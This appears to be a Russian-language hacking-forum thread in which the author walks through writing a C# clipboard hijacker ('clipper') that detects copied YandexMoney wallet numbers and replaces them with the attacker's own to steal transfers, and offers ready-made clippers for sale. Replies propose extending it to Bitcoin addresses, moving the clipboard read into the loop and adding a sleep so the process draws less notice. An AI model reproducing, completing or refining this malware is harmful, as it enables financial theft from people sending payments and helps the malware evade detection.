И так, последнее время заметил на "хайпе" клипперы, появилось много тем о продаже такого добра, поэтому решил рассказать как можно самому настряпать клиппер. Для начала разберемся что это такое да с чем его едят Клиппер проверяет буфер обмена на наличие в нем адресов кошельков(или любых других значений), а затем как только получает подходящие значение меняет его на заданное вами. Допустим человек хочет перевести деньги на определенный номер, для примера это будет "12377732323", копирует этот номер,а когда вставляет то вставляется уже ваш номер"228133722", ну и денежки уже переводятся на ваш счет. Ну вот что это такое разобрались, теперь переходим к воплощению этого творения Писать мы будем на c#, ну и ясно понятно для этого нам понадобится VisualStudio, если нет - скачиваем тут Запускаем Visual Stusio и создаем новый проект - Приложение Windows Forms (.NET Framework) Открываем код формы и видим что то подобное using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; namespace [название вашего проекта] { public partial class Form1 : Form { public Form1() { InitializeComponent(); } } } Код using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; namespace [название вашего проекта] { public partial class Form1 : Form { public Form1() { InitializeComponent(); } } } Подключим все необходимое - стираем все строки с using и вставляем на их место это using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using Microsoft.Win32; Код using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using Microsoft.Win32; Отлично, теперь сам клиппер. Сначала добавим все наши кошельки, которые будем менять, в данном примере рассмотрим только YandexMoney. После InitializeComponent(); на следующей строке пишем это string yandex = "тут ваш номер кошелька"; Код string yandex = "тут ваш номер кошелька"; Создадим строку получающую значение из буфера обмена string buffer = Clipboard.GetText(); Код string buffer = Clipboard.GetText(); Далее, мы знаем что номер яндекс кошелька всегда начинается с значения 41 и имеет 15 символов, значит делаем проверку буфера по этим параметрам, и при обнаружении сходства меняем значение на свое if (buffer.StartsWith("41") && buffer.Length == 15) //Проверяем буфер на яндекс Clipboard.SetText(yandex); //если опознали яндекс - меняем на свой Код if (buffer.StartsWith("41") && buffer.Length == 15) //Проверяем буфер на яндекс Clipboard.SetText(yandex); //если опознали яндекс - меняем на свой Так же мы знаем что номер кошелька не может содержать пробелов, поэтому добавим еще проверку if (buffer.Contains(" ")) Console.Write("Это не яндекс"); else if (buffer.StartsWith("41") && buffer.Length == 15) Clipboard.SetText(yandex); Код if (buffer.Contains(" ")) Console.Write("Это не яндекс"); else if (buffer.StartsWith("41") && buffer.Length == 15) Clipboard.SetText(yandex); Почти все, но так мы лишь 1 раз проверим буфер на соответствие, поэтому зациклим данную функцию while(true) { if (buffer.Contains(" ")) Console.Write("Это не яндекс"); else if (buffer.StartsWith("41") && buffer.Length == 15) Clipboard.SetText(yandex); } Код while(true) { if (buffer.Contains(" ")) Console.Write("Это не яндекс"); else if (buffer.StartsWith("41") && buffer.Length == 15) Clipboard.SetText(yandex); } Теперь готово, можете компилировать и проверять, ну а далее уже добавляете другие кошельки или что вам угодно. Данный код лишь для примера, того как можно реализовать свой клиппер. Но у него будет иметься небольшой минус - .NET зависимость, хотя он установлен практически на каждом компе. Если тема зайдет расскажу как это проделать без зависимостей на c++ Ну а если вам влом или до сих пор не поняли как такое сделать - можете заказать у меня, как исходники так и готовый клиппер
ayan2030, можно проверить отсутствие пробелов и длину на 30-60 символов (не помню, какой длины адрес битков) и отсутствие http/www в буфере обмена
тут нужнен всего 1 юзинг, using System.Windows.Forms; Это нужно закоментить вообще, форма тут не нужна и инициализировать её не нужно. Это строку нужно в твой цикл вставить, а не вне его, а то ты получаешь 1 раз содержимое буфера и бесконечно чекаешь одно и тоже значение. Твой цикл жрёт очень много ресурсов и его сразу найдут в процессах. Ибо он трахает проц оч сильно за короткое время. Нужно добавить задрежку: 1)using System.Threading; в юзинги 2) Thread.Sleep(500); в конец цикла. С такой задержкой мы в любом случае поймаем кош, и к тому же уменьшим жор ** в 10000000000000 раз. Есть ещё куча моментов для оптимизации, но как пример выше сказанных достаточно А так статья не о чём, что в ней авторского неясно.